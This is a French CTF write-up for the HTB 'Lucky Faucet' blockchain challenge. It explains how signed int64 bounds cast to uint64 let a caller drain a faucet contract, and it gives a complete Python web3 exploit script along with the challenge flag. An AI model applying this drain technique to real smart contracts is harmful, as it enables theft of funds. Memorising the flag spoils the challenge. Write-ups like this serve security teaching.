ThaySan
  • 👋Bienvenue
    • Avant-propos
  • đŸš©CTF & Writeups
    • 2025 | EC2
      • Let's Crax
    • 2025 | HackDay
      • 🔑Cryptographie
        • Drunk Christmas
        • Find Eve 1
        • Well hidden message - Standard Code Encryption
      • 🔎Forensic
        • Copperwire Extraction
        • Distracted user
        • I believe you can't fly
      • 🧠Misc
        • Hello Steve
      • đŸ’ŸProgrammation
        • Lonely bot
        • Lonely bot #2
        • Lonely bot #3
        • Useless Animals Sorting
        • Who cares about SSI anyway ?
      • ⚙Reverse
        • Just dig
        • Rusty_rev
        • The Cogs of Blackmail
      • 🎭Steganographie
        • It says a lot when there is no music
        • Mona LSB
        • Well hidden message - Insignificant blue
      • 🌐Web
        • Super Website Verificator 3000
        • The analytical engine leak
        • The Watchful Gears: Uncover the Secrets Within
        • Your region's finest
    • 2024 | Efrei - CyberNight
      • 🔑Cryptographie
        • Clavier spĂ©cial
        • Le futur
        • Securechain 30.0
        • Cascade
        • Shared Flag
        • Weird Algorithm
      • 🧊Minecraft
        • Introduction
        • Non aux Bouquins TrafiquĂ©s
        • Redstone Gold Block
      • đŸ’ŸProgrammation
        • Captcha 1.0
        • Intro Ă  la prog
        • Captcha 2.0
      • ⚙Reverse
        • Reverse the Reverse
        • Find me if you can
        • HuGO Decrypt
        • Kitten eXORcism
        • M30W Vault Tech
        • The Ugandan Labyrinth
      • 🎭StĂ©ganographie
        • Le message
        • bon Le ordre
        • COD FORFLAG
        • Mauvaise note
        • Bruit
        • Un (un ?) drĂŽle de QR code
        • RandonnĂ©e Guillerette Ă  Bordeaux
      • đŸ’»SystĂšme
        • Marche-pied
        • Escabot
        • rĂ©gulation des DonnĂ©es et des Normes de SĂ©curitĂ©
      • 🌐Web
        • cybernight.zip
        • Mon champion prĂ©fĂ©rĂ©
        • Co(mpressed)okies
        • Gitty Mistake
        • JWT Kiddo
        • Parseur Farceur
      • L'enquĂȘte
        • L'enquĂȘte 2/6
        • L'EnquĂȘte 1/6
        • Bienvenue, enquĂȘteur
    • 2024 | Star-Hack
      • 🔑Cryptographie
        • CĂ©sar, mais pas CĂ©sar
        • Double ennui
        • Langage secret
        • Quadratique MystĂ©rieuse
        • ReSultAt
        • Sup3r S3cr3t
        • Warmup
      • 🔎Forensic
        • Cache-cache
        • Fichier ZIP protĂ©gĂ© par mot de passe
        • HEADER
        • Investigation 1
        • Investigation 2
      • 🧠Misc
        • B4l4d3 Urb41n3
        • Bruhh, c'est quoi ça ?
        • Cut13
        • Pika Pika
      • 😈Pwn
        • Pwn0x01
        • Pwn0x02
        • Pwn0x03
      • ⚙Reverse
        • Assembly
        • Rev0x00
        • Rev0x01
        • Rev0x02
      • 🌐Web
        • Clone Udemy
        • Flask
        • Guess_The_Passcode
        • PHP
        • Tickets
        • Usine de Cookies
    • 2024 | ECW
      • 🔑Cryptographie
        • Course hipPIN
    • 2024 | CTFREI Intro
      • 🔑Cryptographie
        • AES Intro
        • AlĂ©atoire
        • Game of Luck
        • RSA Intro
        • RSA2
        • RSA3
      • 🔎Forensic
        • Mais qui est le photographe ?
        • Mais oĂč est passĂ© mon flag ?
        • MĂ©moire 1/4
        • MĂ©moire 2/4
        • MĂ©moire 3/4
        • MĂ©moire 4/4
        • My computer is talking
      • 📚OSINT
        • Avion ✈
        • Geoint
        • Google!
        • Googlint
        • Le pivot
        • Le temps commence maintenant
        • SacrĂ© dossier
        • Socint
      • đŸ’ŸProgrammation
        • Try Me
        • Answer Me
        • Eval Me
        • Time Based
      • 😈Pwn
        • BOF Intro
        • Shop
        • BOF 2
        • BOF win()
      • ⚙Reverse
        • CrackMe1
        • CrackMe2
        • CrackMe3
        • Hidden...
        • Something changed?
        • ZZZ
      • 🎭StĂ©ganographie
        • Cybernight ĂȘtre comme
        • Joli paysage
        • Petit poisson
        • StegHide 'n' Seek
        • Un canard pas comme les autres
      • đŸ’»SystĂšme
        • Bash Jail
        • Bash Jail Revenge
        • BrokenBin
        • GTFO Of Here
        • Pyjail
        • Pyjail Revenge
        • Strange input, right?
      • 🌐Web
        • SQLi
        • POST This Money
        • Give me my Flask PIN
        • Access
        • Render
        • RenderV2
        • Touchy
    • 2024 | DefCamp
      • 🔑Cryptographie
        • conv
        • oracle-srl
        • ctr
      • 🔎Forensic
        • i-got-a-virus
        • Alternating
        • call-me-pliz
      • 🧠Misc
        • pyterm
      • đŸ“±Mobile
        • mobisec
      • 📚OSINT
      • 😈Pwn
      • ⚙Reverse
      • đŸ•”ïžTraque
      • 🌐Web
        • noogle
        • production-bay
    • 2024 | 404CTF
      • 🔑Cryptographie
        • BĂ©bĂ© nageur
        • Le petit bain
        • Poor Random Number Generator [1/2]
        • Plongeon Rapide Super Artistique
        • J'Ă©ponge donc j'essuie
        • Poor Random Number Generator [2/2]
        • La Seine
        • J'ai glissĂ© chef !
        • SEA - La face cachĂ©e de l'Iceberg
      • 🔎Forensic
        • Le tir aux logs
        • Darts Bank
        • Vaut mieux sĂ©curiser que guĂ©rir
        • De bons croissants au beurre
        • Poids Raw vs. Cours Jette [1/3]
      • 🔌Hardware
        • Serial killer
        • Le soulevĂ© de GND
        • Comment est votre modulation ? [1/2]
        • Sea side channel [1/4] - Introduction
        • Comment est votre modulation ? [2/2]
        • Sea side channel [2/4] - Reconnaissance
        • Sea side channel [3/4] - Mais oĂč sont les triggers ?
      • đŸ€–IA
        • Du poison [1/2]
        • Du poison [2/2]
        • Des portes dĂ©robĂ©es
      • 🧠Misc
        • Discord
        • De la friture sur la ligne
        • Bienvenue
        • Revers(ibl)e Engineering [0/2]
      • 📚OSINT
        • LĂ©gende
        • Not on my watch
        • Secret Training [1/2]
      • 😈Pwn
        • Pseudoverflow
        • Jean Pile
        • Mordu du 100m
        • Antismash
      • 🐈‍⬛Quantique
        • Des trains superposĂ©s
        • De l'Ă©coute, pas trĂšs discrĂšte
        • De la multiplicitĂ© des problĂšmes
      • ⚙Reverse
        • ⭐Échauffement
        • ⭐Intronisation du CHAUSSURE
        • ⭐Bugdroid Fight [1/2]
        • ⭐Revers(ibl)e Engineering [1/2]
        • ⭐Bugdroid Fight [2/2]
        • ⭐Nanocombattants
        • ⭐Revers(ibl)e Engineering [2/2]
        • Le Tableau Noir
      • 🎭StĂ©ganographie
        • ⭐L'absence
        • ⭐Regarder en stĂ©rĂ©o
        • ⭐La Barre Fixe
        • ⭐Le grand Ă©cart
        • ⭐La chute
      • 🌐Web
        • ⭐Vous ĂȘtes en RETARD
        • ⭐Le match du siĂšcle [1/2]
        • ⭐Exploit mag
        • ⭐Le match du siĂšcle [2/2]
        • ⭐LE GORFOU 42
        • ⭐La boutique officielle
    • 2024 | CTFREI - Bordeaux
      • 🔑Cryptographie
        • zzz
      • 📚OSINT
        • Alexis Dumas
        • Back to the bureau
        • Dr Octopus
        • Folie et ambition
        • GeoGuessr
        • Hugo Nelots : prĂ©lude
        • La fin ?
        • La fuite Dumas
        • Un rĂ©seau suspect
      • đŸ’ŸProgrammation
        • Eval me 1
        • Eval me 2
        • Time Based
      • đŸ’»SystĂšme
        • Broken Binary 1
        • Broken Binary 2
        • GTFO of here
        • Pyjail 1
        • Pyjail 2
        • Pyjail 3
        • Pyjail 4
      • 🌐Web
        • Au commencement Ă©tait le verb
        • Becadmin
        • PHP Juggler
    • 2024 | HTB - Cyber Apocalypse Challenges
      • 🔗Blockchain
        • Lucky Faucet
        • Recovery
        • Russian Roulette
      • 🔑Cryptographie
        • Blunt
        • Dynastic
        • Iced TEA
        • Makeshift
        • Primary Knowledge
      • 🔎Forensic
        • An unusual sighting
        • Data Siege
        • Fake Boost
        • Game Invitation
        • It Has Begun
        • Phreaky
        • Pursue The Tracks
        • Urgent
      • 🔌Hardware
        • BunnyPass
        • Flash-ing Logs
        • Maze
        • Rids
        • The PROM
      • 🧠Misc
        • Character
        • Cubicle Riddle
        • Path of Survival
        • Stop Drop and Roll
        • Unbreakable
        • Were Pickle Phreaks
        • Were Pickle Phreaks Revenge
      • 😈Pwn
        • Delulu
        • Pet Companion
        • Tutorial
        • Writing on the Wall
      • ⚙Reverse
        • BoxCutter
        • Crushing
        • FollowThePath
        • LootStash
        • MazeOfPower
        • Metagaming
        • PackedAway
        • QuickScan
      • 🌐Web
        • Flag Command
        • KORP Terminal
        • Labyrinth Linguist
        • LockTalk
        • Testimonial
        • TimeKORP
    • 2024 | UNbreakable
      • 🔑Cryptographie
        • start-enc
        • traffic-e
      • 🔎Forensic
        • easy-hide
        • password-manager-is-a-must
      • 🧠Misc
        • rfc-meta
      • đŸ“±Mobile
        • flagen
        • improper-configuration
      • 📡Network
        • wifi-basic
        • wifiland
      • 📚OSINT
        • persistent-reccon
        • safe-password
      • 😈Pwn
        • intro-to-assembly
      • ⚙Reverse
        • fake-add
      • 🎭StĂ©ganographie
        • secrets-of-winter
      • 🌐Web
        • pygment
        • sided-curl
        • you-can-trust-me
    • 2023 | EFREI - CyberNight
      • 📚OSINT
        • Invest Now !
      • 😈Pwn
        • NSA Call Converter
      • ⚙Reverse
        • CryptoVirus
        • WebChaussettes
      • 🌐Web
        • DoctoLeak
    • 2023 | Flag4All
      • 🔑Cryptographie
        • Aes IV
        • Crypt my loop
        • Kentucky fried chicken
        • RSA primes
        • Xor
    • 2022 | EFREI - CyberNight
      • 🔑Cryptographie
        • CoupĂ©-dĂ©calĂ©
        • ExFILEtration
        • Il s'est baissĂ© ou pas
        • J'ai pas rotĂ©
        • Les allemands !
        • RSA Strong Prime generator
      • 🔎Forensic
        • Bomberman 1/2
        • Bomberman 2/2
        • Magic
        • Peu importe le chemin
        • Sniff sniff
        • Souvenir
        • Xray
      • 🔌Hardware
        • Class4
        • Find me 2/3
        • Identify 1/3
        • Yo listen 3/3
      • 🧠Misc
        • Et je tombe tombe tombe
        • Des yeux partout
        • RiGOLe
        • Roomba tricheur
        • Survey
        • Tinder
      • đŸ’ŸProgrammation
        • Repeat
        • Startup
        • Timing
      • ⚙Reverse
        • Auth 1
        • Auth2
        • Auth3
        • Cryptoroomba
        • Tenet
      • 🎭StĂ©ganographie
        • 50 shades of stephane legar
        • Chess master
        • Deviens champion sers toi de tout ce que tu as appris
        • Drifting in the bits
        • Pyramide
        • Spirale
      • 🌐Web
        • Ah bah c'est du propre
        • Cooking roomba
        • Leaderboard
        • vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
Propulsé par GitBook
Sur cette page
  • Challenge
  • Analyse du code
  • Script de rĂ©solution

Cet article vous a-t-il été utile ?

  1. CTF & Writeups
  2. 2024 | HTB - Cyber Apocalypse Challenges
  3. Blockchain

Lucky Faucet

PrécédentBlockchainSuivantRecovery

DerniĂšre mise Ă  jour il y a 1 an

Cet article vous a-t-il été utile ?

Catégorie: Blockchain Difficulté: easy Flag: HTB{1_f0rg0r_s0m3_U}

Challenge

Description


The Fray announced the placement of a faucet along the path for adventurers who can overcome the initial challenges. It's designed to provide enough resources for all players, with the hope that someone won't monopolize it, leaving none for others.

Ce challenge tourne sur un docker, disponible sur

Analyse du code

Le contrat LuckyFaucet créé possĂšde 500 ether au dĂ©part. L’objectif et de lui en faire perdre au moins 10

Setup.sol

function isSolved() public view returns (bool) {
  return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}

Pour cela, on peut utiliser la fonction sendRandomETH qui permet d’envoyer à celui qui l’appel une somme entre 50 000 000 et 100 000 000 wei, ce qui fait maximum 0,0000000001 ETH

Autant dire qu’il va falloir appeler une tonne de fois cette fonction.

LuckyFaucet.sol

function sendRandomETH() public returns (bool, uint64) {
	// Choix d'un aléatoire
  int256 randomInt = int256(blockhash(block.number - 1));
  // Place cet aléatoire entre les bornes lowerBound et upperBound
  uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
  // Envoi de la somme
  bool sent = msg.sender.send(amountToSend);
  return (sent, amountToSend);
}

Seullement nous pouvons redéfinir les bornes lowerBound et upperBound avec la fonction setBounds

Par contre, ces valeurs ne peuvent dépasser 100 000 000 de wei

int64 public upperBound;
int64 public lowerBound;

function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
      require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
      require(_newLowerBound <=  50_000_000,  "50M wei is the max lowerBound sry");
      require(_newLowerBound <= _newUpperBound);
      upperBound = _newUpperBound;
      lowerBound = _newLowerBound;
    }

La vulnĂ©rabilitĂ© rĂ©side dans le fait que lowerBound et upperBound sont dĂ©finis en tant qu’int64 alors que la somme envoyĂ©e est un uint64

Autrement dit, si le nombre castĂ© en uint64 est nĂ©gatif, alors il se transformera en position. C’est ce qu’on appelle une vulnĂ©rabilitĂ© Underflow.

En choisissant des bornes -[-1, -1] le nombre aléatoire, qui est replacé entre les bornes, deviendra forcément -1 . Ainsi lors du cast en uint64 ce -1 se transformera en 18 446 744 073 709 551 615

La somme envoyĂ©e sera alors d’environ 18 ETH, soit suffisamment pour remplir la condition de isSolved


Script de résolution

from web3 import Web3
import requests
import solcx
from pwnlib.tubes.remote import remote

VERSION = '0.7.6'
solcx.install_solc(version=VERSION)
solcx.set_solc_version(version=VERSION)

class Web3Client:
	def __init__(self, host, port):
		# Récupération des adresses des contrats
		base = f"{host}:{port}"
		self.w3 = Web3(Web3.HTTPProvider(f"http://{base}"))
		self.info = requests.get(f"http://{base}/connection_info").json()
		self.contracts = {
			'setup': self.get_contract('Setup.sol', self.info['setupAddress']),
			'lucky_faucet': self.get_contract('LuckyFaucet.sol', self.info['TargetAddress']),
		}

	def get_contract(self, filename: str, address: str):
		compiled_sol = solcx.compile_files([filename])
		key = filename + ':' + filename.split('.')[0]
		interface = compiled_sol[key]
		return self.w3.eth.contract(address=address, abi=interface['abi'])

	# Attends la fin d'une transaction
	def wait(self, transaction_hash):
		return self.w3.eth.wait_for_transaction_receipt(transaction_hash)

def solve(host, port_rpc, port_soc):
	# Connexion via RPC Ă  la blockchain
	rpc_client = Web3Client(host, port_rpc)
	
	# Le contrat Ă  exploiter
	lucky_faucet = rpc_client.contracts['lucky_faucet']
	
	# Redéfinition des bornes à [-1, -1]
	rpc_client.wait(lucky_faucet.functions.setBounds(-1, -1).transact())
	while True:
		# Récupération du nombre d'ETH actuel dans le contrat
		balance = rpc_client.w3.eth.get_balance(lucky_faucet.address)
		print(f"💰 Balance: {balance}")
		
		# Si le contrat à perdu au moins 10 ETH, alors c'est terminé
		if balance < rpc_client.w3.to_wei(490, 'ether'):
			break
		
		# Appel de la fonction pour envoyer une somme "aléatoire"
		rpc_client.wait(lucky_faucet.functions.sendRandomETH().transact())

	# Connexion via socket au serveur raw
	soc_client = remote(host, port_soc)
	soc_client.sendlineafter(b'action? ', b'3')
	
	# Récupération du flag
	flag = soc_client.recvall(timeout=1).decode().strip()
	print(f"Flag: {flag}")

if __name__ == '__main__':
	solve('94.237.62.195', 38217, 41842)
đŸš©
🔗
Github
1KB
blockchain_lucky_faucet.zip
archive